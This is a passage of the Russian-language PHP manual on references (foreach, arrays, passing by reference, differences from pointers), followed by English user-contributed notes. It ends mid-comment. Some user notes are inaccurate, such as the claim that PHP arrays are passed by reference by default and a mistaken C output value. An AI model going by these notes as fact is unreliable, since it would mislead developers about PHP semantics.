При использовании переменной-ссылки в foreach, изменяется содержание, на которое она ссылается.

Пример #3 Ссылки и foreach

<?php
$ref = 0;
$row =& $ref;
foreach (array(1, 2, 3) as $row) {
// сделать что-нибудь
}
echo $ref; // 3 - последнее значение, используемое в цикле
?>

Хотя в выражениях, создаваемых с помощью конструкции array(), нет явного присвоения по ссылке, тем не менее они могут вести себя как таковые, если указать префикс & для элементов массива. Пример:

<?php
$a = 1;
$b = array(2, 3);
$arr = array(&$a, &$b[0], &$b[1]);
$arr[0]++; $arr[1]++; $arr[2]++;
/* $a == 2, $b == array(3, 4); */
?>

Однако следует отметить, что ссылки в массивах являются потенциально опасными. При обычном (не по ссылке) присвоении массива, ссылки внутри этого массива сохраняются. Это также относится и к вызовам функций, когда массив передаётся по значению. Пример:

<?php
/* Присвоение скалярных переменных */
$a = 1;
$b =& $a;
$c = $b;
$c = 7; //$c не ссылка и не изменяет значений $a и $b

/* Присвоение массивов */
$arr = array(1);
$a =& $arr[0]; // $a и $arr[0] ссылаются на одно значение
$arr2 = $arr; // присвоение не по ссылке!
$arr2[0]++;
/* $a == 2, $arr == array(2) */
/* Содержимое $arr изменилось, хотя было присвоено не по ссылке! */
?>
Иными словами, поведение отдельных элементов массива не зависит от типа присвоения этого массива.

Передача по ссылке

Второе, что делают ссылки - передача параметров по ссылке. При этом локальная переменная в функции и переменная в вызывающей области видимости ссылаются на одно и то же содержимое. Пример:

<?php
function foo(&$var) {
$var++;
}

$a = 5;
foo($a);
?>
Этот код присвоит $a значение 6. Это происходит, потому что в функции foo переменная $var ссылается на то же содержимое, что и переменная $a. Смотрите также детальное объяснение передачи по ссылке.

Возврат по ссылке

Третье, что могут делать ссылки - это возврат по ссылке.

User Contributed Notes

dexant9t at gmail dot com 31-Jul-2021 04:10
It matters if you are playing with a reference or with a value

Here we are working with values so working on a reference updates original variable too;

$a = 1;
$c = 22;

$b = & $a;
echo "$a, $b"; //Output: 1, 1

$b++;
echo "$a, $b";//Output: 2, 2 both values are updated

$b = 10;
echo "$a, $b";//Output: 10, 10 both values are updated

$b =$c; //This assigns value 2 to $b which also updates $a
echo "$a, $b";//Output: 22, 22

But, if instead of $b=$c you do
$b = &$c; //Only value of $b is updated, $a still points to 10, $b serves now reference to variable $c

echo "$a, $b"//Output: 10, 22
Anonymous 17-Dec-2015 05:10
to reply to ' elrah [] polyptych [dot] com ', one thing to keep in mind is that array (or similar large data holders) are by default passed by reference. So the behaviour is not side effect. And for array copy and passing array inside function  always done by 'pass by reference'...
admin at torntech dot com 28-Aug-2013 07:58
Something that has not been discussed so far is reference of a reference.
I needed a quick and dirty method of aliasing incorrect naming until a proper rewrite could be done.
Hope this saves someone else the time of testing since it was not covered in the Does/Are/Are Not pages.
Far from best practice, but it worked.

<?php
$a = 0;

$b =& $a;
$a =& $b;

$a = 5;
echo $a . ', ' . $b;
//ouputs: 5,5

echo ' | ';

$b = 6;
echo $a . ',' . $b;
//outputs: 6,6

echo ' | ';
unset( $a );
echo $a . ', ' . $b;

//outputs: , 6

class Product {

    public $id;
    private $productid;

    public function __construct( $id = null ) {
        $this->id =& $this->productid;
        $this->productid =& $this->id;
        $this->id = $id;
    }

    public function getProductId() {
        return $this->productid;
    }

}

echo ' | ';

$Product = new Product( 1 );
echo $Product->id . ', ' . $Product->getProductId();
//outputs 1, 1
$Product->id = 2;
echo ' | ';
echo $Product->id . ', ' . $Product->getProductId();
//outputs 2, 2
$Product->id = null;
echo ' | ';
echo $Product->id . ', ' . $Product->getProductId();
//outouts ,
Oddant 01-Jun-2013 08:07
About the example on array references.
I think this should be written in the array chapter as well.
Indeed if you are new to programming language in some way, you should beware that arrays are pointers to a vector of Byte(s).

<?php $arr = array(1); ?>
$arr here contains a reference to which the array is located.
Writing :
<?php echo $arr[0]; ?>
dereferences the array to access its very first element.

Now something that you should also be aware of  (even you are not new to programming languages) is that PHP use references to contains the different values of an array. And that makes sense because the type of the elements of a PHP array can be different.

Consider the following example :

<?php

$arr = array(1, 'test');

$point_to_test =& $arr[1];

$new_ref = 'new';

$arr[1] =& $new_ref;

echo $arr[1]; // echo 'new';
echo $point_to_test; // echo 'test' ! (still pointed somewhere in the memory)

?>
butshuti at smartrwanda dot org 17-Feb-2013 06:05
This appears to be the hidden behavior: When a class function has the same name as the class, it seems to be implicitly called when an object of the class is created.
For instance, you may take a look at the naming of the function "reftest()": it is in the class "reftest". The behavior can be tested as follows:

<?php
class reftest
{
    public $a = 1;
    public $c = 1;

    public function reftest1()
    {
        $b =& $this->a;
        $b++;
    }

    public function reftest2()
    {
        $d =& $this->c;
        $d++;
    }

    public function reftest()
    {
       echo "REFTEST() called here!\n";
    }
}

$reference = new reftest();
/*You must notice the above will also implicitly call reference->reftest()*/

$reference->reftest1();
$reference->reftest2();

echo $reference->a."\n"; //Echoes 2, not 3 as previously noticed.
echo $reference->c."\n"; //Echoes 2.
?>

The above outputs:

REFTEST() called here!
2
2

Notice that reftest() appears to be called (though no explicit call to it was made)!
nay at woodcraftsrus dot com 08-Jul-2011 09:35
in PHP you don't really need pointer anymore if you want to share an  object across your program

<?php
class foo{
        protected $name;
        function __construct($str){
                $this->name = $str;
        }
        function __toString(){
                return  'my name is "'. $this->name .'" and I live in "' . __CLASS__ . '".' . "\n";
        }
        function setName($str){
                $this->name = $str;
        }
}

class MasterOne{
        protected $foo;
        function __construct($f){
                $this->foo = $f;
        }
        function __toString(){
                return 'Master: ' . __CLASS__ . ' | foo: ' . $this->foo . "\n";
        }
        function setFooName($str){
                $this->foo->setName( $str );
        }
}

class MasterTwo{
        protected $foo;
        function __construct($f){
                $this->foo = $f;
        }
        function __toString(){
                return 'Master: ' . __CLASS__ . ' | foo: ' . $this->foo . "\n";
        }
        function setFooName($str){
                $this->foo->setName( $str );
        }
}

$bar = new foo('bar');

print("\n");
print("Only Created \$bar and printing \$bar\n");
print( $bar );

print("\n");
print("Now \$baz is referenced to \$bar and printing \$bar and \$baz\n");
$baz =& $bar;
print( $bar );

print("\n");
print("Now Creating MasterOne and Two and passing \$bar to both constructors\n");
$m1 = new MasterOne( $bar );
$m2 = new MasterTwo( $bar );
print( $m1 );
print( $m2 );

print("\n");
print("Now changing value of \$bar and printing \$bar and \$baz\n");
$bar->setName('baz');
print( $bar );
print( $baz );

print("\n");
print("Now printing again MasterOne and Two\n");
print( $m1 );
print( $m2 );

print("\n");
print("Now changing MasterTwo's foo name and printing again MasterOne and Two\n");
$m2->setFooName( 'MasterTwo\'s Foo' );
print( $m1 );
print( $m2 );

print("Also printing \$bar and \$baz\n");
print( $bar );
print( $baz );
?>
elrah [] polyptych [dot] com 27-Jan-2011 10:38
It appears that references can have side-effects.  Below are two examples.  Both are simply copying one array to another.  In the second example, a reference is made to a value in the first array before the copy.  In the first example the value at index 0 points to two separate memory locations. In the second example, the value at index 0 points to the same memory location.

I won't say this is a bug, because I don't know what the designed behavior of PHP is, but I don't think ANY developers would expect this behavior, so look out.

An example of where this could cause problems is if you do an array copy in a script and expect on type of behavior, but then later add a reference to a value in the array earlier in the script, and then find that the array copy behavior has unexpectedly changed.

<?php
// Example one
$arr1 = array(1);
echo "\nbefore:\n";
echo "\$arr1[0] == {$arr1[0]}\n";
$arr2 = $arr1;
$arr2[0]++;
echo "\nafter:\n";
echo "\$arr1[0] == {$arr1[0]}\n";
echo "\$arr2[0] == {$arr2[0]}\n";

// Example two
$arr3 = array(1);
$a =& $arr3[0];
echo "\nbefore:\n";
echo "\$a == $a\n";
echo "\$arr3[0] == {$arr3[0]}\n";
$arr4 = $arr3;
$arr4[0]++;
echo "\nafter:\n";
echo "\$a == $a\n";
echo "\$arr3[0] == {$arr3[0]}\n";
echo "\$arr4[0] == {$arr4[0]}\n";
?>
akinaslan at gmail dot com 08-Jan-2011 05:31
In this example class name is different from its first function and however there is no construction function. In the end as you guess "a" and "c" are equal. So if there is no construction function at same time class and its first function names are the same, "a" and "c" doesn't equal forever. In my opinion php doesn't seek any function for the construction as long as their names differ from each others.

<?php
class reftest_new
{
    public $a = 1;
    public $c = 1;

    public function reftest()
    {
        $b =& $this->a;
        $b++;
    }

    public function reftest2()
    {
        $d =& $this->c;
        $d++;
    }
}

$reference = new reftest_new();

$reference->reftest();
$reference->reftest2();

echo $reference->a; //Echoes 2.
echo $reference->c; //Echoes 2.
?>
Amaroq 16-Jan-2010 03:14
I think a correction to my last post is in order.

When there is a constructor, the strange behavior mentioned in my last post doesn't occur. My guess is that php was treating reftest() as a constructor (maybe because it was the first function?) and running it upon instantiation.

<?php
class reftest
{
    public $a = 1;
    public $c = 1;

    public function __construct()
    {
        return 0;
    }

    public function reftest()
    {
        $b =& $this->a;
        $b++;
    }

    public function reftest2()
    {
        $d =& $this->c;
        $d++;
    }
}

$reference = new reftest();

$reference->reftest();
$reference->reftest2();

echo $reference->a; //Echoes 2.
echo $reference->c; //Echoes 2.
?>
Amaroq 15-Jan-2010 06:08
When using references in a class, you can reference $this-> variables.

<?php
class reftest
{
    public $a = 1;
    public $c = 1;

    public function reftest()
    {
        $b =& $this->a;
        $b = 2;
    }

    public function reftest2()
    {
        $d =& $this->c;
        $d++;
    }
}

$reference = new reftest();

$reference->reftest();
$reference->reftest2();

echo $reference->a; //Echoes 2.
echo $reference->c; //Echoes 2.
?>

However, this doesn't appear to be completely trustworthy. In some cases, it can act strangely.

<?php
class reftest
{
    public $a = 1;
    public $c = 1;

    public function reftest()
    {
        $b =& $this->a;
        $b++;
    }

    public function reftest2()
    {
        $d =& $this->c;
        $d++;
    }
}

$reference = new reftest();

$reference->reftest();
$reference->reftest2();

echo $reference->a; //Echoes 3.
echo $reference->c; //Echoes 2.
?>

In this second code block, I've changed reftest() so that $b increments instead of just gets changed to 2. Somehow, it winds up equaling 3 instead of 2 as it should.
strata_ranger at hotmail dot com 26-Sep-2009 03:29
An interesting if offbeat use for references:  Creating an array with an arbitrary number of dimensions.

For example, a function that takes the result set from a database and produces a multidimensional array keyed according to one (or more) columns, which might be useful if you want your result set to be accessible in a hierarchial manner, or even if you just want your results keyed by the values of each row's primary/unique key fields.

<?php
function array_key_by($data, $keys, $dupl = false)
/*
 * $data  - Multidimensional array to be keyed
 * $keys  - List containing the index/key(s) to use.
 * $dupl  - How to handle rows containing the same values.  TRUE stores it as an Array, FALSE overwrites the previous row.
 *
 * Returns a multidimensional array indexed by $keys, or NULL if error.
 * The number of dimensions is equal to the number of $keys provided (+1 if $dupl=TRUE).
 */
{
    // Sanity check
    if (!is_array($data)) return null;

    // Allow passing single key as a scalar
    if (is_string($keys) or is_integer($keys)) $keys = Array($keys);
    elseif (!is_array($keys)) return null;

    // Our output array
    $out = Array();

    // Loop through each row of our input $data
    foreach($data as $cx => $row) if (is_array($row))
    {

      // Loop through our $keys
      foreach($keys as $key)
      {
        $value = $row[$key];

        if (!isset($last)) // First $key only
        {
          if (!isset($out[$value])) $out[$value] = Array();
          $last =& $out; // Bind $last to $out
        }
        else // Second and subsequent $key....
        {
          if (!isset($last[$value])) $last[$value] = Array();
        }

        // Bind $last to one dimension 'deeper'.
        // First lap: was &$out, now &$out[...]
        // Second lap: was &$out[...], now &$out[...][...]
        // Third lap:  was &$out[...][...], now &$out[...][...][...]
        // (etc.)
        $last =& $last[$value];
      }

      if (isset($last))
      {
        // At this point, copy the $row into our output array
        if ($dupl) $last[$cx] = $row; // Keep previous
        else       $last = $row; // Overwrite previous
      }
      unset($last); // Break the reference
    }
    else return NULL;

    // Done
    return $out;
}

// A sample result set to test the function with
$data = Array(Array('name' => 'row 1', 'foo' => 'foo_a', 'bar' => 'bar_a', 'baz' => 'baz_a'),
              Array('name' => 'row 2', 'foo' => 'foo_a', 'bar' => 'bar_a', 'baz' => 'baz_b'),
              Array('name' => 'row 3', 'foo' => 'foo_a', 'bar' => 'bar_b', 'baz' => 'baz_c'),
              Array('name' => 'row 4', 'foo' => 'foo_b', 'bar' => 'bar_c', 'baz' => 'baz_d')
              );

// First, let's key it by one column (result: two-dimensional array)
print_r(array_key_by($data, 'baz'));

// Or, key it by two columns (result: 3-dimensional array)
print_r(array_key_by($data, Array('baz', 'bar')));

// We could also key it by three columns (result: 4-dimensional array)
print_r(array_key_by($data, Array('baz', 'bar', 'foo')));

?>
dnhuff at acm dot org 09-Jun-2008 11:33
In reply to Drewseph using foo($a = 'set'); where $a is a reference formal parameter.

$a = 'set' is an expression. Expressions cannot be passed by reference, don't you just hate that, I do. If you turn on error reporting for E_NOTICE, you will be told about it.

Resolution: $a = 'set'; foo($a); this does what you want.
Drewseph 29-May-2008 04:15
If you set a variable before passing it to a function that takes a variable as a reference, it is much harder (if not impossible) to edit the variable within the function.

Example:
<?php
function foo(&$bar) {
    $bar = "hello\n";
}

foo($unset);
echo($unset);
foo($set = "set\n");
echo($set);

?>

Output:
hello
set

It baffles me, but there you have it.
Amaroq 31-Mar-2008 10:56
The order in which you reference your variables matters.

<?php
$a1 = "One";
$a2 = "Two";
$b1 = "Three";
$b2 = "Four";

$b1 =& $a1;
$a2 =& $b2;

echo $a1; //Echoes "One"
echo $b1; //Echoes "One"

echo $a2; //Echoes "Four"
echo $b2; //Echoes "Four"
?>
charles at org oo dot com 19-Oct-2007 03:59
points to post below me.
When you're doing the references with loops, you need to unset($var).

for example
<?php
foreach($var as &$value)
{
...
}
unset($value);
?>
Hlavac 09-Oct-2007 02:25
Watch out for this:

foreach ($somearray as &$i) {
  // update some $i...
}
...
foreach ($somearray as $i) {
  // last element of $somearray is mysteriously overwritten!
}

Problem is $i contians reference to last element of $somearray after the first foreach, and the second foreach happily assigns to it!
dovbysh at gmail dot com 06-Jul-2007 12:50
Solution to post "php at hood dot id dot au 04-Mar-2007 10:56":

<?php
$a1 = array('a'=>'a');
$a2 = array('a'=>'b');

foreach ($a1 as $k=>&$v)
$v = 'x';

echo $a1['a']; // will echo x

unset($GLOBALS['v']);

foreach ($a2 as $k=>$v)
{}

echo $a1['a']; // will echo x

?>
amp at gmx dot info 08-Jun-2007 10:59
Something that might not be obvious on the first look:
If you want to cycle through an array with references, you must not use a simple value assigning foreach control structure. You have to use an extended key-value assigning foreach or a for control structure.

A simple value assigning foreach control structure produces a copy of an object or value. The following code

$v1=0;
$arrV=array(&$v1,&$v1);
foreach ($arrV as $v)
{
  $v1++;
  echo $v."\n";
}

yields

0
1

which means $v in foreach is not a reference to $v1 but a copy of the object the actual element in the array was referencing to.

The codes

$v1=0;
$arrV=array(&$v1,&$v1);
foreach ($arrV as $k=>$v)
{
    $v1++;
    echo $arrV[$k]."\n";
}

and

$v1=0;
$arrV=array(&$v1,&$v1);
$c=count($arrV);
for ($i=0; $i<$c;$i++)
{
    $v1++;
    echo $arrV[$i]."\n";
}

both yield

1
2

and therefor cycle through the original objects (both $v1), which is, in terms of our aim, what we have been looking for.

(tested with php 4.1.3)
firespade at gmail dot com 03-Apr-2007 07:11
Here's a good little example of referencing. It was the best way for me to understand, hopefully it can help others.

$b = 2;
$a =& $b;
$c = $a;
echo $c;

// Then... $c = 2
php at hood dot id dot au 04-Mar-2007 10:56
I discovered something today using references in a foreach

<?php
$a1 = array('a'=>'a');
$a2 = array('a'=>'b');

foreach ($a1 as $k=>&$v)
$v = 'x';

echo $a1['a']; // will echo x

foreach ($a2 as $k=>$v)
{}

echo $a1['a']; // will echo b (!)
?>

After reading the manual this looks like it is meant to happen. But it confused me for a few days!

(The solution I used was to turn the second foreach into a reference too)
ladoo at gmx dot at 17-Apr-2005 02:05
I ran into something when using an expanded version of the example of pbaltz at NO_SPAM dot cs dot NO_SPAM dot wisc dot edu below.
This could be somewhat confusing although it is perfectly clear if you have read the manual carfully. It makes the fact that references always point to the content of a variable perfectly clear (at least to me).

<?php
$a = 1;
$c = 2;
$b =& $a; // $b points to 1
$a =& $c; // $a points now to 2, but $b still to 1;
echo $a, " ", $b;
// Output: 2 1
?>
php.devel at homelinkcs dot com 15-Nov-2004 03:16
In reply to lars at riisgaardribe dot dk,

When a variable is copied, a reference is used internally until the copy is modified.  Therefore you shouldn't use references at all in your situation as it doesn't save any memory usage and increases the chance of logic bugs, as you discoved.
joachim at lous dot org 10-Apr-2003 03:46
So to make a by-reference setter function, you need to specify reference semantics _both_ in the parameter list _and_ the assignment, like this:

class foo{
   var $bar;
   function setBar(&$newBar){
      $this->bar =& newBar;
   }
}

Forget any of the two '&'s, and $foo->bar will end up being a copy after the call to setBar.


Чем ссылки не являются

Как уже было сказано, ссылки не являются указателями. Это означает, что следующая конструкция не будет делать то, что вы ожидаете:

<?php
function foo(&$var) {
$var =& $GLOBALS["baz"];
}
foo($bar);
?>

Переменная $var в функции foo будет связана с $bar в вызывающем коде, но затем она будет перепривязана к $GLOBALS["baz"]. Нет способа связать $bar в области видимости вызывающем коде с чем-либо ещё путём использования механизма ссылок, поскольку $bar не доступна в функции foo (доступно лишь её значение через $var, но $var имеет только значение переменной и не имеет связи имя-значение в таблице имён переменных). Вы можете воспользоваться возвратом ссылок из функции для привязки внешней переменной к другому значению.

User Contributed Notes

minhtrung2606 at gmail dot com 13-Jun-2019 01:36
<?php
function foo(&$var)
{
    $var =& $GLOBALS["baz"];
}
foo($bar);
?>

Let's re-write the above snippet of code in another way

<?php
$bar = &$var; // At this time, $bar refers to the content to which $var refers which is NULL or empty
$var = & $GLOBALS["baz"]; // At this time, $var changes to refer to another content to which global $baz variable refers. However $bar is still refers to the content of NULL

Expected Result: $bar will hold the content of $var (which is now the content of $baz)
Actual Result: $bar holds a content of NULL or empty. This is what's PHP References does
bravo1romeo 27-Oct-2017 03:58
You can reference values of an array to the values of another array,
however if you change the array by reassigning it, the reference will no longer apply, for example:

<?php
$ref = [1,2,3];
$c = count($ref);
$foo = ['A'];

for($i=0;$i<$c;$i++)
    $foo[] =& $ref[$i];

print_r($foo);
print_r($ref);

$ref = [4,5,6];

print_r($foo);
print_r($ref);
?>

Will output:
Array
(
    [0] => A
    [1] => 1
    [2] => 2
    [3] => 3
)
Array
(
    [0] => 1
    [1] => 2
    [2] => 3
)
Array
(
    [0] => A
    [1] => 1
    [2] => 2
    [3] => 3
)
Array
(
    [0] => 4
    [1] => 5
    [2] => 6
)

Therefore if you want the values to still reference you must set the array values individually to not reassign the array:
<?php
$ref = [1,2,3];
$c = count($ref);
$foo = ['A'];

for($i=0;$i<$c;$i++)
    $foo[] =& $ref[$i];

print_r($foo);
print_r($ref);

$bar = [4,5,6];
foreach($bar as $i => $value)
    $ref[$i] = $value;

print_r($foo);
print_r($ref);
?>

Results:
Array
(
    [0] => A
    [1] => 1
    [2] => 2
    [3] => 3
)
Array
(
    [0] => 1
    [1] => 2
    [2] => 3
)
Array
(
    [0] => A
    [1] => 4
    [2] => 5
    [3] => 6
)
Array
(
    [0] => 4
    [1] => 5
    [2] => 6
)
leonardp122794 at gmail dot com 21-Jul-2017 07:36
I kinda agree with the user above who said that php references were actually quite a bit more like c pointers than JAVA or C++.

And here's why.

They act essentially exactly like pointers.

The difference between unset($x) and free(x) seem to be differences between the unset() and free() operators whether than differences between references and pointers themselves.

Free deallocates the memory on the heap.

Unset simple removes the variable.

Other than that, we're dealing with two very simple constructs here.
Anonymous 06-Jan-2016 12:39
It is possible to do something a bit similar to pointers (like in C), where something like array(&$a) is a pointer to a variable called $a; this value can then be passed around as a value; it is not a variable or an alias or whatever but is an actual value.

You can then use codes such as these to read/write through pointers:
<?php
function get($x) { return $x[0]; }
function put($x,$y) { $x[0]=$y; }
?>
ArticIce(Juice) 07-Aug-2015 06:57
Consider this block of code:

<?php
$arr = ['1', '2', '3', '4'];

foreach ($arr as &$i) {}
echo implode($arr, ', ')."\n";

foreach ($arr as $i) {}
echo implode($arr, ', ')."\n";
?>

which will output
1, 2, 3, 4
1, 2, 3, 3

although it seems no changes were made to the array.

The last item in the array gets overwritten, because reference is replaced by a copy in the second iteration. In more detail, it gets overwritten first by a 1, then by 2, by 3 and again by a 3.

Make sure to do an unset($i) when you run an iteration by copy after an iteration by reference using same variable names!
shuimuqingshu at gmail dot com 13-Mar-2012 02:57
i think the code below can tell the difference between PHP reference and C pointer:

In PHP:
<?php
    $a = 0;
    $b = &a;
    echo $a; //0
    unset($b); // unset $b
    echo $a; //0 it's OK
?>

In C:
#include <stdio.h>
int main(int argc, char const *argv[]) {
    int a = 0;
    int* b = &a;

    printf("%i\n", a); //0
    free(b);              // free b
    printf("%i\n", a); //get error: *** error for object 0x7fff6350da08: pointer being freed was not allocated
}
briank at kappacs dot com 25-Jan-2011 02:38
I think the terminology is tripping people up when it comes to assigning objects.

Try thinking of binding and references like this:

<?php
# Code:
$a = 5; $b =& $a; $c = new stdClass(); $d = $c;

# Behind the scenes symbol table and values:
$global_names = array(
'a' => array('binding' => 0),
'b' => array('binding' => 0),
'c' => array('binding' => 1),
'd' => array('binding' => 2),
);
$values = array(
0 => array('type' => 'scalar', 'value' => 5),
1 => array('type' => 'objId', 'value' => 0),
2 => array('type' => 'objId', 'value' => 0)
);
?>

$a is bound to (or references, or is a reference to) the value at index 0 (scalar 5).
$b is bound to the same thing as $a--the value at index 0 (scalar 5).
$c is bound to the value at index 1 (object ID 0).
$d is bound to the value at index 2 (a separate and distinct value also referring to object ID 0).

When the documentation states that you cannot [re-]bind $bar to something else from within the example function foo, it means you can't change what in my pseudo-engine would be $global_names['bar']['binding']. You can only change $values[$names['var']['binding']] (using "$var ="; the same value referenced/bound by $values[$global_names['bar']['binding']) or $names['var']['binding'] (using "$var =&").

Also consider this code:

<?php
$a = 3; $b =& $a;
function foo (&$c) { $c = new stdClass(); }
function bar () { return new stdClass(); }
function &fum () { return new stdClass(); }
if (!is_object($a)) { echo "\$a does not initially refer to an object\n"; }
foo($b);
echo "\$b ", ($a === $b)? "has not": "has", " been re-bound by foo\n";
if (is_object($a)) { echo "\$a now contains an object identifier\n"; }
$b =& bar();
echo "\$b ", ($a === $b)? "has not": "has", " been re-bound by bar\n";
$b =& fum();
echo "\$b ", ($a === $b)? "has not": "has", " been re-bound by fum\n";
?>

which outputs:

$a does not initially refer to an object
$b has not been re-bound by foo
$a now contains an object identifier
$b has not been re-bound by bar
$b has been re-bound by fum

In other words, the value can be changed but the binding does not (except for returning a reference), exactly as stated.

Object identifiers do make object "values" work like pointers (but not to the extent of C/C++, and not like references).
Anonymous 08-Jul-2010 09:25
I understand this like that:
?The reference in PHP is like creating single pointer at own variable in C/C++ and point at variable ( without pointers arithmetic and we can't get number of variable address in memory).

For example
<?php
$a = 4;
$b = &$a;
$c = &$b;
echo "$a - $b - $c<br>";
// 3 pointers ( a , b , c) point at memory location where  stored value of number is 4.
$c = 5;
echo "$a - $b - $c<br>";
// all variables equals 5;
unset($a);
$c = 6;
echo "$a - $b - $c<br>";
//$a is not exist but it was only pointer ( not real part of memory) so we have to way to get value or change it
?>
----
When we want create some "pointer of pointer" in PHP i can't do that because it's impossible in PHP. We need pointer to another pointer to change the place that the pointer refers to. In your exaple you just change value of variable in function. ( no operation of pointers )
Andrew 04-Sep-2008 10:56
What References are not: References.

References are opaque things that are like pointers, except A) smarter and B) referring to HLL objects, rather than memory addresses. PHP doesn't have references. PHP has a syntax for creating *aliases* which are multiple names for the same object. PHP has a few pieces of syntax for calling and returning "by reference", which really just means inhibiting copying. At no point in this "references" section of the manual are there any references.
Anonymous 09-Jun-2008 11:52
The example given in the text:

<?php
function foo(&$var)
{
    $var =& $GLOBALS["baz"];
}
foo($bar);
?>

illustrates (to my mind anyway) why the = and & should be written together as a new kind of replacement operator and not apart as in C, like  $var = &$GLOBALS["baz"];

Using totally new terminology:

To me the result of this function is not surprising because the =& means 'change the "destination" of $var from wherever it was to the same as the destination of $GLOBALS["baz"]. Well it 'was' the actual parameter $bar, but now it will be the global at "baz".

If you simply remove the & in the the replacement, it will place the value of $GLOBALS["baz'] into the destination of $var, which is $bar (unless $bar was already a reference, then the value goes into that destination.)

To summarize, =, replaces the 'destination's value; =&, changes the destination.
ansonyumo at email dot com 28-Feb-2004 01:47
The assertion,  "references are not like pointers," is a bit confusing.

In the example, the author shows how assigning a reference to a formal parameter that is also a reference does not affect the value of the actual parameter. This is exactly how pointers behave in C. The only difference is that, in PHP, you don't have to dereference the pointer to get at the value.

-+-+-
int bar = 99;

void foo(int* a)
{
    a = &bar;
}

int main()
{
   int baz = 1;
   foo(&baz);
   printf("%d\n", baz);
   return 0;
}
-+-+-

The output will be 1, because foo does not assign a value to the dereferenced formal parameter. Instead, it reassigns the formal parameter within foo's scope.

Alternatively,
-+-+-
int bar = 99;

void foo(int* a)
{
    *a = bar;
}

int main()
{
   int baz = 1;
   foo(&baz);
   printf("%d\n", baz);
   return 0;
}
-+-+-

The output will be 9, because foo dereferenced the formal parameter before assignment.

So, while there are differences in syntax, PHP references really are very much like pointers in C.

I would agree that PHP references are very different from Java references, as Java does not have any mechanism to assign a value to a reference in such a way that it modifies the actual parameter's value.
schultz __at__ widescreen __dot__ ch 26-Jan-2004 07:57
A not so simple Workaround...but still doable...have fun

class My{
    var $value;

    function get1(&$ref){
        $ref[] =& $this;
    }

    function get2(&$ref){
        $ref =& $this;
    }

    function get3(&$ref){
        $ref = $this;
    }
}

$m = new My();

$m->value = 'foo';
$m->get1($ref=array());
$m1 =& $ref[0];
$m1->value = 'bar';
echo "\n".'Works but is ugly...';
echo "\n".' m:'. get_class($m) . '->value = '. $m->value;
echo "\n".' m1:'. get_class($m1) . '->value = '. $m1->value;

echo "\n".'Does not work because references are not pointers...';
$m->value = 'foo';
$m->get2($m2);
$m2->value = 'bar';
echo "\n".' m:'. get_class($m) . '->value = '. $m->value;
echo "\n".' m2:'. get_class($m2) . '->value = '. $m2->value;

$m->value = 'foo';
$m->get3($m3);
$m3->value = 'bar';
echo "\n".'Does not work becuase it is set to a copy';
echo "\n".' m:'. get_class($m) . '->value = '.$m->value;
echo "\n".' m3:'. get_class($m3) . '->value = '. $m3->value;
christian at kno dot at 12-Oct-2001 06:04
As said above references are not pointers.

Following example shows a difference between pointers and references.

This Code
<?
    $b = 1;
    $a =& $b;

    print("<pre>");
    print("\$a === \$b: ".(($a === $b) ? "ok" : "failed")."\n");
    print("unsetting \$a...\n");
    unset($a);
    print("now \$a is ".(isset($a) ? "set" : "unset")." and \$b is ".(isset($b) ? "set" : "unset")."\n");
    print("</pre>");

    $b = 1;
    $a =& $b;

    print("<pre>");
    print("\$a === \$b: ".(($a === $b) ? "ok" : "failed")."\n");
    print("unsetting \$b...\n");
    unset($b);
    print("now \$a is ".(isset($a) ? "set" : "unset")." and \$b is ".(isset($b) ? "set" : "unset")."\n");
    print("</pre>");
?>

will produce this output:
---------
$a === $b: ok
unsetting $a...
now $a is unset and $b is set

$a === $b: ok
unsetting $b...
now $a is set and $b is unset
---------

So you see that $a and $b are identical ($a === $b -> true), but if one of both is unset, the other is not effected.


Передача по ссылке

Вы можете передать переменную по ссылке в качестве аргумента в функцию, чтобы эта функция могла изменять значение переменной. Синтаксис выглядит следующим образом:

<?php
function foo(&$var) {
$var++;
}

$a = 5;
foo($a);
// $a здесь равно 6
?>

Замечание: В вызове функции отсутствует знак ссылки - он есть только в определении функции. Этого достаточно для корректной передачи аргументов по ссылке.

По ссылке можно передавать:

  • Переменные, например foo($a)

  • Ссылки, возвращаемые функцией, например:

    <?php
    function foo(&$var) {
    $var++;
    }
    function &    bar() {
    $a = 5;
    return     $a;
    }
    foo(bar());
    ?>
    Смотрите также объяснение возврата по ссылке.

Любое другое выражение не должно передаваться по ссылке, так как результат не определён. Например, следующая передача по ссылке является неправильной:

<?php
function foo(&$var) {
$var++;
}
function bar() { // Операция & отсутствует
$a = 5;
return $a;
}
foo(bar()); // Вызывает предупреждение

foo($a = 5); // Выражение, а не переменная
foo(5); // Константа, а не переменная

class Foobar
{
}

foo(new Foobar()) // Вызывает уведомление с PHP 7.0.7
// Notice: Only variables should be passed by reference
?>

User Contributed Notes

Anonymous 06-Mar-2023 10:51
Parameters passed by references can have default values.
You can find out if a variable was actually passed by using func_num_args():

<?php

function refault( & $ref = 'Do I have to be calculated?'){
  echo 'NUM ARGS:  '. func_num_args()."\n";
  echo "ORI VALUE: {$ref}\n";
  if( func_num_args() > 0 )  $ref = 'Yes, expensive to calculate result: ' . sleep(1);
  else $ref = 'No.';
  echo "NEW VALUE: {$ref}\n";
}

$result = 'Do I have to be calculated?';
refault( $result );
echo "RESULT:    {$result}\n";
// NUM ARGS:  1
// ORI VALUE: Do I have to be calculated?
// NEW VALUE: Yes, expensive to calculate result: 0
// RESULT:    Yes, expensive to calculate result: 0

refault();
// NUM ARGS:  0
// ORI VALUE: Do I have to be calculated?
// NEW VALUE: No.
?>
rob at librobert dot net 23-Nov-2021 01:22
A reference remains a reference, even if it's an element of an array that is not passed by reference.

An example:

<?php
$c = 3;
$array = array(
        'a' => 1,
        'b' => 2,
        'c' => &$c
);
var_dump($array);
function func($array) {
        $array['a'] = 4;
        $array['b'] = 5;
        $array['c'] = 6;
        var_dump($array);
}
func($array);
var_dump($array);
var_dump($c);
?>

This will output the following:

array(3) {
  ["a"]=>
  int(1)
  ["b"]=>
  int(2)
  ["c"]=>
  &int(3)
}
array(3) {
  ["a"]=>
  int(4)
  ["b"]=>
  int(5)
  ["c"]=>
  &int(6)
}
array(3) {
  ["a"]=>
  int(1)
  ["b"]=>
  int(2)
  ["c"]=>
  &int(6)
}
int(6)

You could use this to allow a function to have read-write access to part of the array, while limiting it to read-only access for the rest of the array:

<?php
$config = [
        'ro' => [
                // ...
        ],
        'rw' => [
                // ...
        ]
];
$copy = $config;
$copy['rw'] = &$config['rw'];
func($copy);
?>
tianyiw at vip dot qq dot com 25-Jun-2021 07:51
I designed a class that can easily pass references.

<?php
#### Problem 1
function problem(&$value)
{
}
problem(1); // cannot be passed by reference

#### Problem 2
class problem2
{
